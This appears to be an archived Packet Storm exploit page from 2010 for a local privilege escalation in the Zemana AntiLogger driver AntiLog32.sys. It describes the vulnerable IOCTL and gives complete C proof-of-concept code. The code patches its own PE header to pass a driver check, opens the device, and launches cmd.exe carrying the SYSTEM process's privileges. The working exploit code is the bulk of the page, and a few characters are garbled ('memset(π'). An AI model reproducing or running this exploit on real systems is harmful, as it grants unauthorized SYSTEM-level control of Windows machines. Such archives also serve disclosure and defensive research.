what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Zemana AntiLogger Local Privilege Escalation

Zemana AntiLogger Local Privilege Escalation
Posted Jul 28, 2010
Authored by th_decoder

Zemana AntiLogger with AntiLog32.sys versions 1.5.2.755 and below suffer from a local privilege escalation vulnerability.

tags | exploit, local
SHA-256 | c4b5374aef4fafad83d8cf34f59211029acaf54deb05c6b2269c93d7ea737d0a

Zemana AntiLogger Local Privilege Escalation

Change Mirror Download
Zemana AntiLogger AntiLog32.sys <= 1.5.2.755 Local Privilege Escalation Vulnerability

VULNERABLE PRODUCTS
Zemana AntiLogger <=1.9.2.2.206

DETAILS:
AntiLog32.sys create a device called \Device\AntiLog32 , and handles DeviceIoControl request IoControlCode = 0x8000201C , which can elevate the privilege of a process to another process

EXPLOIT CODE:

#include "stdafx.h"
#include "windows.h"
#include "winioctl.h"
#define IOCTL_IMPERSONATE_PROCESS CTL_CODE(0x8000 , 0x807 , METHOD_BUFFERED , FILE_ANY_ACCESS)

typedef struct _IMPERSONATE_PROCESS{
HANDLE ImpersonateProcess ;
HANDLE SystemProcess ;
}IMPERSONATE_PROCESS , *PIMPERSONATE_PROCESS;

int main(int argc, char* argv[])
{
printf("Zemana AntiLogger <=1.9.2.2.206 AntiLog32.sys <= 1.5.2.755\n"
"Local Privilege Escalation Vulnerability Proof-of-Concept\n"
"2010-7-28\n"
"By MJ0011 th_decoder@126.com\n\nPress Enter\n");
getchar();

//bypass some useless create check

PIMAGE_DOS_HEADER pdoshdr = (PIMAGE_DOS_HEADER)GetModuleHandle(NULL);
PIMAGE_NT_HEADERS pnthdr = (PIMAGE_NT_HEADERS)((ULONG)pdoshdr + pdoshdr->e_lfanew);
PVOID waddr = &pnthdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress ;

ULONG oldp ;

VirtualProtect(waddr , sizeof(ULONG) , PAGE_READWRITE , &oldp);
pnthdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress = 0x1 ;
VirtualProtect(waddr , sizeof(ULONG) , oldp , &oldp);


HANDLE hdev = CreateFile("\\\\.\\AntiLog32" ,
FILE_READ_ATTRIBUTES ,
FILE_SHARE_READ ,
0,
OPEN_EXISTING ,
0,0);

if (hdev == INVALID_HANDLE_VALUE)
{
printf("cannot open device %u\n" , GetLastError());
getchar();
return 0;

}

STARTUPINFOA sia ;
memset(&sia , 0 , sizeof(sia));
sia.cb = sizeof(sia);
PROCESS_INFORMATION pi ;
memset(π , 0 , sizeof(pi));



if (!CreateProcess("c:\\windows\\system32\\cmd.exe" ,
NULL ,
NULL,
NULL,
FALSE ,
CREATE_SUSPENDED,
NULL,
NULL,
&sia ,
π))
{
printf("cannot run cmd.exe....%u\n", GetLastError());
getchar();
return 0 ;
}


IMPERSONATE_PROCESS ip ;
ip.ImpersonateProcess = (HANDLE)pi.dwProcessId ;
ip.SystemProcess = (HANDLE)4 ; //// WinXP and later
ULONG btr ;

if (!DeviceIoControl(hdev , IOCTL_IMPERSONATE_PROCESS , &ip , sizeof(ip) , NULL , 0 , &btr, 0))
{
printf("cannot impersonate process %u\n" , GetLastError());
getchar();
return 0 ;
}

ResumeThread(pi.hThread);

printf("OK\n");


return 0;
}

================================




th_decoder
2010-07-28

Login or Register to add favorites

File Archive:

August 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    20 Files
  • 2
    Aug 2nd
    4 Files
  • 3
    Aug 3rd
    6 Files
  • 4
    Aug 4th
    55 Files
  • 5
    Aug 5th
    16 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    13 Files
  • 9
    Aug 9th
    13 Files
  • 10
    Aug 10th
    34 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close